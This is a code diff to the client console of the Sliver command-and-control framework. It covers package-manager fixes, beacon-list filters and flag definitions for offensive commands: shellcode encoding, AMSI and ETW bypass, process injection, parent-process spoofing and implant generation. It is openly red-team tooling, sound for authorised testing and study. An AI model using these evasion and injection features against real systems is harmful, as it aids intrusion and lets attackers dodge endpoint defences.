 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, _, err = pkgParser(armoryPkg, true, clientConfig)
 	} else {
-		sig, _, err = DefaultArmoryPkgParser(armoryPkg, true, clientConfig)
+		sig, _, err = DefaultArmoryPkgParser(armoryConfig, armoryPkg, true, clientConfig)
 	}
 	if err != nil {
 		pkgCacheEntry.LastErr = fmt.Errorf("failed to parse pkg manifest: %s", err)
@@ -20,11 +20,13 @@ package armory

 import (
 	"errors"
+	"fmt"
 	"io/ioutil"
 	"net/url"
 	"os"
 	"path/filepath"

+	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/command/alias"
 	"github.com/bishopfox/sliver/client/command/extensions"
 	"github.com/bishopfox/sliver/client/console"
@@ -33,6 +35,7 @@ import (
 )

 var (
+	// ErrPackageNotFound - The package was not found
 	ErrPackageNotFound = errors.New("package not found")
 )

@@ -45,6 +48,19 @@ func ArmoryInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 	clientConfig := parseArmoryHTTPConfig(ctx)
 	refresh(clientConfig)
+	if name == "all" {
+		aliases, extensions := packagesInCache()
+		confirm := false
+		prompt := &survey.Confirm{
+			Message: fmt.Sprintf("Install %d aliases and %d extensions?",
+				len(aliases), len(extensions),
+			),
+		}
+		survey.AskOne(prompt, &confirm)
+		if !confirm {
+			return
+		}
+	}
 	err := installPackageByName(name, clientConfig, con)
 	if err == nil {
 		return
@@ -73,17 +89,26 @@ func installBundle(bundle *ArmoryBundle, clientConfig ArmoryHTTPConfig, con *con
 func installPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverConsoleClient) error {
 	aliases, extensions := packagesInCache()
 	for _, alias := range aliases {
-		if alias.CommandName == name {
+		if alias.CommandName == name || name == "all" {
 			installAlias(alias, clientConfig, con)
-			return nil
+			if name != "all" {
+				return nil
+			}
 		}
 	}
 	for _, ext := range extensions {
-		if ext.CommandName == name {
+		if ext.CommandName == name || name == "all" {
 			installExtension(ext, clientConfig, con)
-			return nil
+			if name != "all" {
+				return nil
+			}
 		}
 	}
+	if name == "all" {
+		con.Printf("\n")
+		con.PrintInfof("All packages installed\n")
+		return nil
+	}
 	return ErrPackageNotFound
 }

@@ -120,7 +145,7 @@ func installAliasPackageByName(name string, clientConfig ArmoryHTTPConfig, con *
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err
@@ -238,7 +263,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c
 	if pkgParser, ok := pkgParsers[repoURL.Hostname()]; ok {
 		sig, tarGz, err = pkgParser(&entry.Pkg, false, clientConfig)
 	} else {
-		sig, tarGz, err = DefaultArmoryPkgParser(&entry.Pkg, false, clientConfig)
+		sig, tarGz, err = DefaultArmoryPkgParser(entry.ArmoryConfig, &entry.Pkg, false, clientConfig)
 	}
 	if err != nil {
 		return err
@@ -30,6 +30,7 @@ import (
 	"net/url"
 	"path"
 	"strings"
+	"time"

 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/server/cryptography/minisign"
@@ -57,13 +58,13 @@ const (
 )

 type armoryIndexResponse struct {
-	Minisig     string `json:"minisig"`      // Minisig
-	ArmoryIndex string `json:"armory_index"` // Base64 String
+	Minisig     string `json:"minisig"`      // Minisig (Base64)
+	ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
 }

 type armoryPkgResponse struct {
-	Minisig  string `json:"minisig"` // Minisig
-	TarGzURL string `json:"tar_gz_url"`
+	Minisig  string `json:"minisig"`    // Minisig (Base64)
+	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
 }

 //
@@ -79,7 +80,19 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	}

 	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryConfig.RepoURL)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
 	if err != nil {
 		return nil, err
 	}
@@ -91,20 +104,28 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 	if resp.StatusCode != http.StatusOK {
 		return nil, errors.New("api returned non-200 status code")
 	}
-	index := &armoryIndexResponse{}
-	err = json.Unmarshal(body, index)
+
+	indexResp := &armoryIndexResponse{}
+	err = json.Unmarshal(body, indexResp)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
+	if err != nil {
+		return nil, err
+	}
+	armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
 	if err != nil {
 		return nil, err
 	}

 	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, []byte(index.ArmoryIndex), []byte(index.ArmoryIndex))
+	valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
 	if !valid {
-		return nil, errors.New("invalid signature")
+		return nil, errors.New("index has invalid signature")
 	}

-	armoryIndex := &ArmoryIndex{}
-	armoryIndexData, err := base64.StdEncoding.DecodeString(index.ArmoryIndex)
+	armoryIndex := &ArmoryIndex{ArmoryConfig: armoryConfig}
 	if err != nil {
 		return nil, err
 	}
@@ -116,7 +137,7 @@ func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig Ar
 }

 // DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
-func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
+func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
 	var publicKey minisign.PublicKey
 	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
 	if err != nil {
@@ -124,7 +145,19 @@ func DefaultArmoryPkgParser(armoryPkg *ArmoryPackage, sigOnly bool, clientConfig
 	}

 	client := httpClient(clientConfig)
-	resp, err := client.Get(armoryPkg.RepoURL)
+	repoURL, err := url.Parse(armoryConfig.RepoURL)
+	if err != nil {
+		return nil, nil, err
+	}
+	req := &http.Request{
+		Method: http.MethodGet,
+		URL:    repoURL,
+		Header: map[string][]string{},
+	}
+	if armoryConfig.Authorization != "" {
+		req.Header.Set("Authorization", armoryConfig.Authorization)
+	}
+	resp, err := client.Do(req)
 	if err != nil {
 		return nil, nil, err
 	}
@@ -416,6 +449,7 @@ func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConf
 	if err != nil {
 		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
 	}
+	defer latestRedirect.Body.Close()
 	if latestRedirect.StatusCode != http.StatusFound {
 		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
 	}
@@ -455,9 +489,8 @@ func httpClient(config ArmoryHTTPConfig) *http.Client {
 			Dial: (&net.Dialer{
 				Timeout: config.Timeout,
 			}).Dial,
-
-			Proxy: http.ProxyURL(config.ProxyURL),
-
+			IdleConnTimeout:     time.Millisecond,
+			Proxy:               http.ProxyURL(config.ProxyURL),
 			TLSHandshakeTimeout: config.Timeout,
 			TLSClientConfig: &tls.Config{
 				InsecureSkipVerify: config.DisableTLSValidation,
@@ -21,6 +21,7 @@ package beacons
 import (
 	"context"
 	"fmt"
+	"regexp"
 	"strings"
 	"time"

@@ -31,7 +32,7 @@ import (
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/desertbit/grumble"
 	"github.com/jedib0t/go-pretty/v6/table"
-	"golang.org/x/crypto/ssh/terminal"
+	"golang.org/x/term"
 )

 // BeaconsCmd - Display/interact with beacons
@@ -46,7 +47,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintErrorf("%s\n", err)
 			return
 		}
-		err = kill.KillBeacon(beacon, false, con)
+		err = kill.KillBeacon(beacon, ctx, con)
 		if err != nil {
 			con.PrintErrorf("%s\n", err)
 			return
@@ -62,7 +63,7 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			return
 		}
 		for _, beacon := range beacons.Beacons {
-			err = kill.KillBeacon(beacon, true, con)
+			err = kill.KillBeacon(beacon, ctx, con)
 			if err != nil {
 				con.PrintErrorf("%s\n", err)
 				return
@@ -71,35 +72,44 @@ func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			con.PrintInfof("Killed %s (%s)\n", beacon.Name, beacon.ID)
 		}
 	}
+	filter := ctx.Flags.String("filter")
+	var filterRegex *regexp.Regexp
+	if ctx.Flags.String("filter-re") != "" {
+		var err error
+		filterRegex, err = regexp.Compile(ctx.Flags.String("filter-re"))
+		if err != nil {
+			con.PrintErrorf("%s\n", err)
+			return
+		}
+	}

 	beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-
-	PrintBeacons(beacons.Beacons, con)
+	PrintBeacons(beacons.Beacons, filter, filterRegex, con)
 }

 // PrintBeacons - Display a list of beacons
-func PrintBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) {
+func PrintBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) {
 	if len(beacons) == 0 {
 		con.PrintInfof("No beacons 🙁\n")
 		return
 	}
-	tw := renderBeacons(beacons, con)
+	tw := renderBeacons(beacons, filter, filterRegex, con)
 	con.Printf("%s\n", tw.Render())
 }

-func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient) table.Writer {
-	width, _, err := terminal.GetSize(0)
+func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regexp.Regexp, con *console.SliverConsoleClient) table.Writer {
+	width, _, err := term.GetSize(0)
 	if err != nil {
 		width = 999
 	}

 	tw := table.NewWriter()
 	tw.SetStyle(settings.GetTableStyle(con))
-	if 182 < width {
+	if con.Settings.SmallTermWidth < width {
 		tw.AppendHeader(table.Row{
 			"ID",
 			"Name",
@@ -132,37 +142,87 @@ func renderBeacons(beacons []*clientpb.Beacon, con *console.SliverConsoleClient)
 		}

 		nextCheckin := time.Unix(beacon.NextCheckin, 0)
+		nextCheckinDateTime := nextCheckin.Format(time.UnixDate)
+
 		var next string
+		var interval string
+
 		if time.Unix(beacon.NextCheckin, 0).Before(time.Now()) {
-			past := time.Now().Sub(nextCheckin)
-			next = fmt.Sprintf("%s-%s%s", console.Bold+console.Red, past, console.Normal)
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (%s ago)", nextCheckinDateTime, time.Since(nextCheckin).Round(time.Second))
+
+			} else {
+				interval = time.Since(nextCheckin).Round(time.Second).String()
+			}
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Red, interval, console.Normal)
 		} else {
-			eta := nextCheckin.Sub(time.Now())
-			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, eta, console.Normal)
+			if con.Settings.SmallTermWidth < width {
+				interval = fmt.Sprintf("%s (in %s)", nextCheckinDateTime, time.Until(nextCheckin).Round(time.Second))
+			} else {
+				interval = time.Until(nextCheckin).Round(time.Second).String()
+			}
+
+			next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
 		}
-		if 182 < width {
-			tw.AppendRow(table.Row{
+
+		// We need a slice of strings so we can apply filters
+		var rowEntries []string
+
+		/*
+			Round the duration to the nearest second to be more output friendly.
+			We deal in seconds for everything, so it makes sense to show outputs
+			in seconds to remain consistent.
+		*/
+		timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
+		lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
+
+		if con.Settings.SmallTermWidth < width {
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%d/%d"+console.Normal, beacon.TasksCountCompleted, beacon.TasksCount),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.RemoteAddress),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
 				next,
-			})
+			}
 		} else {
-			tw.AppendRow(table.Row{
+			rowEntries = []string{
 				fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
 				fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
-				fmt.Sprintf(color+"%s"+console.Normal, beacon.Username),
+				fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
 				fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
-				fmt.Sprintf(color+"%s ago"+console.Normal, time.Now().Sub(time.Unix(beacon.LastCheckin, 0))),
+				fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
 				next,
-			})
+			}
+		}
+		// Build the row struct
+		row := table.Row{}
+		for _, entry := range rowEntries {
+			row = append(row, entry)
+		}
+		// Apply filters if any
+		if filter == "" && filterRegex == nil {
+			tw.AppendRow(row)
+		} else {
+			for _, rowEntry := range rowEntries {
+				if filter != "" {
+					if strings.Contains(rowEntry, filter) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+				if filterRegex != nil {
+					if filterRegex.MatchString(rowEntry) {
+						tw.AppendRow(row)
+						break
+					}
+				}
+			}
 		}
 	}
 	return tw
@@ -48,7 +48,7 @@ func BeaconsPruneCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		if time.Now().Before(nextCheckin) {
 			continue
 		}
-		delta := time.Now().Sub(nextCheckin)
+		delta := time.Since(nextCheckin)
 		if pruneDuration <= delta {
 			pruneBeacons = append(pruneBeacons, beacon)
 		}
@@ -45,7 +45,7 @@ func BeaconsWatchCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 			if err != nil {
 				panic(err) // If we return we may leak the waiting goroutine, so we panic instead
 			}
-			tw := renderBeacons(beacons.Beacons, con)
+			tw := renderBeacons(beacons.Beacons, "", nil, con)
 			lines := strings.Split(tw.Render(), "\n")
 			for _, line := range lines {
 				con.Printf(console.Clearln+"\r%s\n", line)
@@ -42,6 +42,7 @@ import (
 	"github.com/bishopfox/sliver/client/command/backdoor"
 	"github.com/bishopfox/sliver/client/command/beacons"
 	"github.com/bishopfox/sliver/client/command/completers"
+	"github.com/bishopfox/sliver/client/command/cursed"
 	"github.com/bishopfox/sliver/client/command/dllhijack"
 	"github.com/bishopfox/sliver/client/command/environment"
 	"github.com/bishopfox/sliver/client/command/exec"
@@ -63,11 +64,13 @@ import (
 	"github.com/bishopfox/sliver/client/command/privilege"
 	"github.com/bishopfox/sliver/client/command/processes"
 	"github.com/bishopfox/sliver/client/command/reaction"
+	"github.com/bishopfox/sliver/client/command/reconfig"
 	"github.com/bishopfox/sliver/client/command/registry"
 	"github.com/bishopfox/sliver/client/command/screenshot"
 	"github.com/bishopfox/sliver/client/command/sessions"
 	"github.com/bishopfox/sliver/client/command/settings"
 	"github.com/bishopfox/sliver/client/command/shell"
+	sgn "github.com/bishopfox/sliver/client/command/shikata-ga-nai"
 	"github.com/bishopfox/sliver/client/command/socks"
 	"github.com/bishopfox/sliver/client/command/tasks"
 	"github.com/bishopfox/sliver/client/command/update"
@@ -398,6 +401,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Bool("c", "no-canaries", false, "disable dns canary detection")
 			f.String("L", "lhost", "", "interface to bind server to")
 			f.Int("l", "lport", generate.DefaultDNSLPort, "udp listen port")
+			f.Bool("D", "disable-otp", false, "disable otp authentication")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("p", "persistent", false, "make persistent across restarts")
@@ -475,6 +479,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "cert", "", "path to PEM encoded certificate file (HTTPS only)")
 			f.String("k", "key", "", "path to PEM encoded private key file (HTTPS only)")
 			f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate (HTTPS only)")
+			f.StringL("aes-encrypt-key", "", "encrypt stage with AES encryption key")
+			f.StringL("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
+			f.String("C", "compress", "none", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -503,6 +510,47 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.MultiplayerHelpGroup,
 	})

+	// [ Reconfig ] ---------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ReconfigStr,
+		Help:     "Reconfigure the active beacon/session",
+		LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
+			f.String("r", "reconnect-interval", "", "reconnect interval for implant")
+			f.String("i", "beacon-interval", "", "beacon callback interval")
+			f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reconfig.ReconfigCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.RenameStr,
+		Help:     "Rename the active beacon/session",
+		LongHelp: help.GetHelpFor([]string{consts.RenameStr}),
+		Flags: func(f *grumble.Flags) {
+			f.String("n", "name", "", "change implant name to")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			reconfig.RenameCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Sessions ] --------------------------------------------------------------

 	sessionsCmd := &grumble.Command{
@@ -514,6 +562,10 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("k", "kill", "", "kill the designated session")
 			f.Bool("K", "kill-all", false, "kill all the sessions")
 			f.Bool("C", "clean", false, "clean out any sessions marked as [DEAD]")
+			f.Bool("F", "force", false, "force session action without waiting for results")
+
+			f.String("f", "filter", "", "filter sessions by substring")
+			f.String("e", "filter-re", "", "filter sessions by regular expression")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -530,6 +582,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Help:     "Kill all stale/dead sessions",
 		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.PruneStr}),
 		Flags: func(f *grumble.Flags) {
+			f.Bool("F", "force", false, "Force the killing of stale/dead sessions")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -543,26 +596,6 @@ func BindCommands(con *console.SliverConsoleClient) {
 	})
 	con.App.AddCommand(sessionsCmd)

-	con.App.AddCommand(&grumble.Command{
-		Name:     consts.ReconfigStr,
-		Help:     "Reconfigure the active session",
-		LongHelp: help.GetHelpFor([]string{consts.SessionsStr, consts.ReconfigStr}),
-		Flags: func(f *grumble.Flags) {
-			f.String("n", "name", "", "agent name to change to")
-			f.Int("r", "reconnect", -1, "reconnect interval for agent")
-			f.Int("p", "poll", -1, "poll interval for agent")
-
-			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
-		},
-		Run: func(ctx *grumble.Context) error {
-			con.Println()
-			sessions.SessionsReconfigCmd(ctx, con)
-			con.Println()
-			return nil
-		},
-		HelpGroup: consts.SliverHelpGroup,
-	})
-
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.BackgroundStr,
 		Help:     "Background an active session",
@@ -590,7 +623,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			return nil
 		},
 		Flags: func(f *grumble.Flags) {
-			f.Bool("f", "force", false, "Force kill,  does not clean up")
+			f.Bool("F", "force", false, "Force kill,  does not clean up")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -807,6 +840,30 @@ func BindCommands(con *console.SliverConsoleClient) {
 		},
 		HelpGroup: consts.GenericHelpGroup,
 	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "always-overflow",
+		Help:     "Disable table pagination",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "always-overflow"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsAlwaysOverflow(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
+	settingsCmd.AddCommand(&grumble.Command{
+		Name:     "small-terminal",
+		Help:     "Set the small terminal width",
+		LongHelp: help.GetHelpFor([]string{consts.SettingsStr, "small-terminal"}),
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			settings.SettingsSmallTerm(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.GenericHelpGroup,
+	})
 	con.App.AddCommand(settingsCmd)

 	// [ Info ] --------------------------------------------------------------
@@ -931,6 +988,33 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})

+	// [ Shellcode Encoders ] --------------------------------------------------------------
+
+	con.App.AddCommand(&grumble.Command{
+		Name:     consts.ShikataGaNai,
+		Help:     "Polymorphic binary shellcode encoder (ノ ゜Д゜)ノ ︵ 仕方がない",
+		LongHelp: help.GetHelpFor([]string{consts.ShikataGaNai}),
+		Args: func(a *grumble.Args) {
+			a.String("shellcode", "binary shellcode file path")
+		},
+		Flags: func(f *grumble.Flags) {
+			f.String("s", "save", "", "save output to local file")
+
+			f.String("a", "arch", "amd64", "architecture of shellcode")
+			f.Int("i", "iterations", 1, "number of iterations")
+			f.String("b", "bad-chars", "", "hex encoded bad characters to avoid (e.g. 0001)")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			sgn.ShikataGaNaiCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+		HelpGroup: consts.SliverHelpGroup,
+	})
+
 	// [ Exec ] --------------------------------------------------------------

 	con.App.AddCommand(&grumble.Command{
@@ -940,10 +1024,13 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.Bool("T", "token", false, "execute command with current token (windows only)")
 			f.Bool("o", "output", false, "capture command output")
+			f.Bool("s", "save", false, "save output to a file")
 			f.Bool("X", "loot", false, "save output as loot")
 			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
 			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
 			f.String("E", "stderr", "", "remote path to redirect STDERR to")
+			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional, Windows only)")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -974,8 +1061,15 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("c", "class", "", "Optional class name (required for .NET DLL)")
 			f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
 			f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
+			f.Bool("i", "in-process", false, "Run in the current sliver process")
+			f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
 			f.Bool("s", "save", false, "save output to file")
 			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
+			f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
+			f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1006,6 +1100,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Uint("p", "pid", 0, "Pid of process to inject into (0 means injection into ourselves)")
 			f.String("n", "process", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
 			f.Bool("i", "interactive", false, "Inject into a new process and interact with it")
+			f.Bool("S", "shikata-ga-nai", false, "encode shellcode using shikata ga nai prior to execution")
+			f.String("A", "architecture", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
+			f.Int("I", "iterations", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1019,8 +1116,13 @@ func BindCommands(con *console.SliverConsoleClient) {
 		Flags: func(f *grumble.Flags) {
 			f.String("e", "entry-point", "", "Entrypoint for the DLL (Windows only)")
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
+			f.Bool("w", "unicode", false, "Command line is passed to unmanaged DLL function in UNICODE format. (default is ANSI)")
 			f.Bool("s", "save", false, "save output to file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")

 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 		},
@@ -1045,8 +1147,12 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("p", "process", `c:\windows\system32\notepad.exe`, "Path to process to host the shellcode")
 			f.String("e", "export", "ReflectiveLoader", "Entrypoint of the Reflective DLL")
 			f.Bool("s", "save", false, "save output to file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.String("n", "name", "", "name to assign loot (optional)")
 			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
 			f.Bool("k", "keep-alive", false, "don't terminate host process once the execution completes")
+			f.Uint("P", "ppid", 0, "parent process id (optional)")
+			f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
 		},
 		Args: func(a *grumble.Args) {
 			a.String("filepath", "path the DLL file")
@@ -1135,6 +1241,7 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.String("d", "service-description", "Sliver implant", "description of the service")
 			f.String("p", "profile", "", "profile to use for service binary")
 			f.String("b", "binpath", "c:\\windows\\temp", "directory to which the executable will be uploaded")
+			f.String("c", "custom-exe", "", "custom service executable to use instead of generating a new Sliver")
 		},
 		Run: func(ctx *grumble.Context) error {
 			con.Println()
@@ -1199,6 +1306,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")

+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1253,6 +1363,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")

+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
+
+			f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
 			f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
 			f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
 			f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
@@ -1391,6 +1504,7 @@ func BindCommands(con *console.SliverConsoleClient) {

 			f.String("c", "canary", "", "canary domain(s)")

+			f.String("N", "name", "", "implant name")
 			f.String("m", "mtls", "", "mtls connection strings")
 			f.String("g", "wg", "", "wg connection strings")
 			f.String("b", "http", "", "http(s) connection strings")
@@ -1401,6 +1515,9 @@ func BindCommands(con *console.SliverConsoleClient) {
 			f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
 			f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")

+			f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
